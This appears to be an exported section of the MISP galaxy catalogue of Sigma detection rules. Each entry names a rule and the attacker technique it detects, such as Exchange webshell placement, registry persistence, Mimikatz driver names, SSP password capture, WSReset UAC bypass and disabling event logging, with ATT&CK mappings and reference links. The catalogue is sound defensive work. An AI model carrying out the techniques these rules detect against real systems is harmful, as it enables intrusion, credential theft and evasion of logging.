<td><a href="https://thedfirreport.com/2021/12/13/diavol-ransomware/">https://thedfirreport.com/2021/12/13/diavol-ransomware/</a></td>
</tr>
</tbody>
</table>

Suspicious Cobalt Strike DNS Beaconing - DNS Client

Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons

The tag is: *misp-galaxy: sigma-rules="Suspicious Cobalt Strike DNS Beaconing - DNS Client"

**View relationships graph**

Suspicious Cobalt Strike DNS Beaconing - DNS Client has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

**Table 8609. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
File Was Not Allowed To Run

Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.

The tag is: `misp-galaxy:sigma-rules="File Was Not Allowed To Run"`

View relationships graph

File Was Not Allowed To Run has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 8610. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nxlog.co/documentation/nxlog-user-guide/applocker.html">https://nxlog.co/documentation/nxlog-user-guide/applocker.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml</a></td>
</tr>
</tbody>
</table>
Potential Active Directory Reconnaissance/Enumeration Via LDAP

Detects potential Active Directory enumeration via LDAP

The tag is: `misp-galaxy:sigma-rules="Potential Active Directory Reconnaissance/Enumeration Via LDAP"`

View relationships graph

Potential Active Directory Reconnaissance/Enumeration Via LDAP has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482"` with estimative-language:likelihood-probability="almost-certain"

Table 8611. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs">https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs</a></td>
</tr>
<tr>
<td><a href="https://github.com/fox-it/BloodHound.py/blob/d65eb614831cd30f26028cc072f5e77ca287e0b/bloodhound/ad/domain.py#L427">https://github.com/fox-it/BloodHound.py/blob/d65eb614831cd30f26028cc072f5e77ca287e0b/bloodhound/ad/domain.py#L427</a></td>
</tr>
</tbody>
</table>

Uncommon AppX Package Locations

Detects an appx package added the pipeline of the "to be processed" packages which is located in uncommon locations

The tag is: `misp-galaxy:sigma-rules="Uncommon AppX Package Locations"`

Table 8612. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Suspicious AppX Package Locations

Detects an appx package added to the pipeline of the "to be processed" packages which is located in suspicious locations

The tag is: `misp-galaxy:sigma-rules="Suspicious AppX Package Locations"`

Table 8613. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_package_locations.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_package_locations.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Suspicious Remote AppX Package Locations

Detects an appx package added to the pipeline of the "to be processed" packages which is downloaded from a suspicious domain

The tag is: `misp-galaxy:sigma-rules="Suspicious Remote AppX Package Locations"`

Table 8614. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_domains.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_domains.yml</a></td>
<td></td>
</tr>
</tbody>
</table>
Suspicious AppX Package Installation Attempt

Detects an appx package installation with the error code "0x80073cff" which indicates that the package didn't meet the signing requirements and could be suspicious

The tag is: `misp-galaxy:sigma-rules="Suspicious AppX Package Installation Attempt"`

Table 8615. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_appx_package_installation.yml">Internal Research</a></td>
<td></td>
</tr>
</tbody>
</table>

Deployment Of The AppX Package Was Blocked By The Policy

Detects an appx package deployment that was blocked by the local computer policy

The tag is: `misp-galaxy:sigma-rules="Deployment Of The AppX Package Was Blocked By The Policy"`

Table 8616. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Potential Malicious AppX Package Installation Attempts

Detects potential installation or installation attempts of known malicious appx packages

The tag is: `misp-galaxy:sigma-rules="Potential Malicious AppX Package Installation Attempts"`

Table 8617. Table References
**Deployment AppX Package Was Blocked By AppLocker**

Detects an appx package deployment that was blocked by AppLocker policy

The tag is: `misp-galaxy:sigma-rules="Deployment AppX Package Was Blocked By AppLocker"`

**Table 8618. Table References**

### Links


**Remove Exported Mailbox from Exchange Webserver**

Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit

The tag is: `misp-galaxy:sigma-rules="Remove Exported Mailbox from Exchange Webserver"`

**View relationships graph**

Remove Exported Mailbox from Exchange Webserver has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070"` with estimative-language:likelihood-probability="almost-certain"

**Table 8619. Table References**

### Links

- https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430
Exchange Set OabVirtualDirectory ExternalUrl Property

Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log

The tag is: `misp-galaxy:sigma-rules="Exchange Set OabVirtualDirectory ExternalUrl Property"`

View relationships graph

Exchange Set OabVirtualDirectory ExternalUrl Property has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8620. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/OTR_Community/status/1371053369071132675">https://twitter.com/OTR_Community/status/1371053369071132675</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml</a></td>
</tr>
</tbody>
</table>

Failed MSExchange Transport Agent Installation

Detects a failed installation of a Exchange Transport Agent

The tag is: `misp-galaxy:sigma-rules="Failed MSExchange Transport Agent Installation"`

View relationships graph

Failed MSExchange Transport Agent Installation has relationships with:


Table 8621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=8">https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=8</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml</a></td>
</tr>
</tbody>
</table>
ProxyLogon MSExchange OabVirtualDirectory

Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory

The tag is: `misp-galaxy:sigma-rules="ProxyLogon MSExchange OabVirtualDirectory"`

View relationships graph

ProxyLogon MSExchange OabVirtualDirectory has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Malware - T1587.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c">https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxylogon_oabvirtualdir.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxylogon_oabvirtualdir.yml</a></td>
</tr>
</tbody>
</table>

Certificate Request Export to Exchange Webserver

Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell

The tag is: `misp-galaxy:sigma-rules="Certificate Request Export to Exchange Webserver"`

View relationships graph

Certificate Request Export to Exchange Webserver has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8623. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/GossiTheDog/status/1429175908905127938">https://twitter.com/GossiTheDog/status/1429175908905127938</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml</a></td>
</tr>
</tbody>
</table>

Mailbox Export to Exchange Webserver

Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it

The tag is: `misp-galaxy:sigma-rules="Mailbox Export to Exchange Webserver"`
Mailbox Export to Exchange Webserver has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

**Table 8624. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**MSExchange Transport Agent Installation - Builtin**

Detects the Installation of a Exchange Transport Agent

The tag is: *misp-galaxy:sigma-rules*="MSExchange Transport Agent Installation - Builtin"

**Table 8625. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=7">https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=7</a></td>
</tr>
</tbody>
</table>

**Exports Registry Key To an Alternate Data Stream**

Exports the target Registry key and hides it in the specified alternate data stream.

The tag is: *misp-galaxy:sigma-rules*="Exports Registry Key To an Alternate Data Stream"

**Table 8626. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Potentially Suspicious File Download From ZIP TLD**

Detects the download of a file with a potentially suspicious extension from a .zip top level domain.

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious File Download From ZIP TLD"`

**Table 8627. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/">https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cyb3rops/status/1659175181695287297">https://twitter.com/cyb3rops/status/1659175181695287297</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_zip_tld_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_zip_tld_download.yml</a></td>
</tr>
</tbody>
</table>

**Unusual File Download From File Sharing Websites**

Detects the download of suspicious file type from a well-known file and paste sharing domain

The tag is: `misp-galaxy:sigma-rules="Unusual File Download From File Sharing Websites"`

**View relationships graph**

Unusual File Download From File Sharing Websites has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"` with estimative-language:likelihood-probability="almost-certain"

**Table 8628. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-321a">https://www.cisa.gov/uscert/ncas/alerts/aa22-321a</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file-sharing-domains_download_unusual_extension.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file-sharing-domains_download_unusual_extension.yml</a></td>
</tr>
</tbody>
</table>

**Creation Of a Suspicious ADS File Outside a Browser Download**

Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than
browsers

The tag is: misp-galaxy:sigma-rules="Creation Of a Suspicious ADS File Outside a Browser Download"

**Table 8629. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Suspicious File Download From File Sharing Websites**

Detects the download of suspicious file type from a well-known file and paste sharing domain

The tag is: misp-galaxy:sigma-rules="Suspicious File Download From File Sharing Websites"

**View relationships graph**

Suspicious File Download From File Sharing Websites has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

**Table 8630. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/">https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-321a">https://www.cisa.gov/uscert/ncas/alerts/aa22-321a</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file_sharing_domains_download_susp_extension.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file_sharing_domains_download_susp_extension.yml</a></td>
</tr>
</tbody>
</table>

**Unusual File Download from Direct IP Address**

Detects the download of suspicious file type from URLs with IP

The tag is: misp-galaxy:sigma-rules="Unusual File Download from Direct IP Address"

**View relationships graph**

Unusual File Download from Direct IP Address has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

**Table 8631. Table References**

5672
Potential Suspicious Winget Package Installation

Detects potential suspicious winget package installation from a suspicious source.

The tag is: `misp-galaxy:sigma-rules="Potential Suspicious Winget Package Installation"

 Hacktool Download

Detects the creation of a file on disk that has an imphash of a well-known hack tool

The tag is: `misp-galaxy:sigma-rules="Hacktool Download"

View relationships graph

Hacktool Download has relationships with:

• related-to: `misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"` with estimative-language:likelihood-probability="almost-certain"

Hidden Executable In NTFS Alternate Data Stream

Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash
The tag is: `misp-galaxy:sigma-rules="Hidden Executable In NTFS Alternate Data Stream"`

View relationships graph

Hidden Executable In NTFS Alternate Data Stream has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"` with estimative-language:likelihood-probability="almost-certain"

Table 8634. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0xrawsec/status/1002478725605273600?s=21">https://twitter.com/0xrawsec/status/1002478725605273600?s=21</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml</a></td>
</tr>
</tbody>
</table>

**Office Application Startup - Office Test**

Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started

The tag is: `misp-galaxy:sigma-rules="Office Application Startup - Office Test"`

View relationships graph

Office Application Startup - Office Test has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Office Test - T1137.002"` with estimative-language:likelihood-probability="almost-certain"

Table 8635. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml</a></td>
</tr>
</tbody>
</table>

**RedMimicry Winnti Playbook Registry Manipulation**

Detects actions caused by the RedMimicry Winnti playbook

The tag is: `misp-galaxy:sigma-rules="RedMimicry Winnti Playbook Registry Manipulation"`

View relationships graph

RedMimicry Winnti Playbook Registry Manipulation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-
**Suspicious Camera and Microphone Access**

Detects Processes accessing the camera and microphone from suspicious folder

The tag is: `misp-galaxy:sigma-rules="Suspicious Camera and Microphone Access"`

**Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback**

Detects enabling of the "AllowAnonymousCallback" registry value, which allows a remote connection between computers that do not have a trust relationship.

The tag is: `misp-galaxy:sigma-rules="Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback"`
**PortProxy Registry Key**

Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule `win_netsh_port_fwd.yml`.

The tag is: `misp-galaxy:sigma-rules="PortProxy Registry Key"`

View relationships graph

PortProxy Registry Key has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"

**Registry Persistence Mechanisms in Recycle Bin**

Detects persistence registry keys for Recycle Bin

The tag is: `misp-galaxy:sigma-rules="Registry Persistence Mechanisms in Recycle Bin"`

View relationships graph

Registry Persistence Mechanisms in Recycle Bin has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547"` with estimative-language:likelihood-probability="almost-certain"
**DLL Load via LSASS**

Detects a method to load DLL via LSASS process using an undocumented Registry key

The tag is: `misp-galaxy:sigma-rules="DLL Load via LSASS"`

View relationships graph

DLL Load via LSASS has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008"` with estimative-language:likelihood-probability="almost-certain"

**Path To Screensaver Binary Modified**

Detects value modification of registry key containing path to binary used as screensaver.

The tag is: `misp-galaxy:sigma-rules="Path To Screensaver Binary Modified"`

View relationships graph

Path To Screensaver Binary Modified has relationships with:

**PrinterNightmare Mimikatz Driver Name**

Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527

The tag is: `misp-galaxy:sigma-rules="PrinterNightmare Mimikatz Driver Name"`

**View relationships graph**

PrinterNightmare Mimikatz Driver Name has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="User Execution - T1204"` with estimative-language:likelihood-probability="almost-certain"

*Table 8643. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/cve-2021-1675">https://nvd.nist.gov/vuln/detail/cve-2021-1675</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913</a></td>
</tr>
<tr>
<td><a href="https://nvd.nist.gov/vuln/detail/cve-2021-34527">https://nvd.nist.gov/vuln/detail/cve-2021-34527</a></td>
</tr>
<tr>
<td><a href="https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760">https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Run Key from Download**

Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories

The tag is: `misp-galaxy:sigma-rules="Suspicious Run Key from Download"`

**View relationships graph**

Suspicious Run Key from Download has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

*Table 8644. Table References*
Windows Registry Trust Record Modification

Alerts on trust record modification within the registry, indicating usage of macros

The tag is: `misp-galaxy:sigma-rules="Windows Registry Trust Record Modification"`

View relationships graph

Windows Registry Trust Record Modification has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 8645. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/inversecos/status/1494174785621819397">https://twitter.com/inversecos/status/1494174785621819397</a></td>
</tr>
<tr>
<td><a href="http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html">http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html</a></td>
</tr>
<tr>
<td><a href="https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/">https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_download_run_key.yml</a></td>
</tr>
</tbody>
</table>

Run Once Task Configuration in Registry

Rule to detect the configuration of Run Once registry key. Configured payload can be run by `runonce.exe /AlternateShellStartup`

The tag is: `misp-galaxy:sigma-rules="Run Once Task Configuration in Registry"`

View relationships graph

Run Once Task Configuration in Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 8646. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Runonce/">https://lolbas-project.github.io/lolbas/Binaries/Runonce/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/pabraeken/status/990717080805789697">https://twitter.com/pabraeken/status/990717080805789697</a></td>
</tr>
</tbody>
</table>
New DLL Added to AppCertDlls Registry Key

Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

The tag is: misp-galaxy:sigma-rules="New DLL Added to AppCertDlls Registry Key"

View relationships graph

New DLL Added to AppCertDlls Registry Key has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009" with estimative-language:likelihood-probability="almost-certain"

Potential Qakbot Registry Activity

Detects a registry key used by IceID in a campaign that distributes malicious OneNote files

The tag is: misp-galaxy:sigma-rules="Potential Qakbot Registry Activity"

View relationships graph

Potential Qakbot Registry Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
Disable Security Events Logging Adding Reg Key MiniNt

Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.

The tag is: misp-galaxy:sigma-rules="Disable Security Events Logging Adding Reg Key MiniNt"

View relationships graph

Disable Security Events Logging Adding Reg Key MiniNt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 8649. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1182516740955226112">https://twitter.com/0gtweet/status/1182516740955226112</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml</a></td>
</tr>
</tbody>
</table>

Creation of a Local Hidden User Account by Registry

Sysmon registry detection of a local hidden user account.

The tag is: misp-galaxy:sigma-rules="Creation of a Local Hidden User Account by Registry"

View relationships graph

Creation of a Local Hidden User Account by Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 8650. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1387530414185664538">https://twitter.com/SBousseaden/status/1387530414185664538</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml</a></td>
</tr>
</tbody>
</table>

Windows Credential Editor Registry

Detects the use of Windows Credential Editor (WCE)
The tag is: misp-galaxy:sigma-rules="Windows Credential Editor Registry"

View relationships graph

Windows Credential Editor Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 8651. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.ampliasecurity.com/research/windows-credentials-editor/">https://www.ampliasecurity.com/research/windows-credentials-editor/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml</a></td>
</tr>
</tbody>
</table>

Security Support Provider (SSP) Added to LSA Configuration

Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.

The tag is: misp-galaxy:sigma-rules="Security Support Provider (SSP) Added to LSA Configuration"

View relationships graph

Security Support Provider (SSP) Added to LSA Configuration has relationships with:


Table 8652. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/">https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml</a></td>
</tr>
</tbody>
</table>

Leviathan Registry Key Activity

Detects registry key used by Leviathan APT in Malaysian focused campaign

The tag is: misp-galaxy:sigma-rules="Leviathan Registry Key Activity"

View relationships graph

Leviathan Registry Key Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"
**OceanLotus Registry Activity**

Detects registry keys created in OceanLotus (also known as APT32) attacks

The tag is: *misp-galaxy:sigma-rules="OceanLotus Registry Activity"*

**UAC Bypass Via Wsreset**

Unfixed method for UAC bypass from Windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Via Wsreset"*
NetNTLM Downgrade Attack - Registry

Detects NetNTLM downgrade attack

The tag is: *misp-galaxy: sigma-rules* = "NetNTLM Downgrade Attack - Registry"

View relationships graph

NetNTLM Downgrade Attack - Registry has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern* = "Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability = "almost-certain"
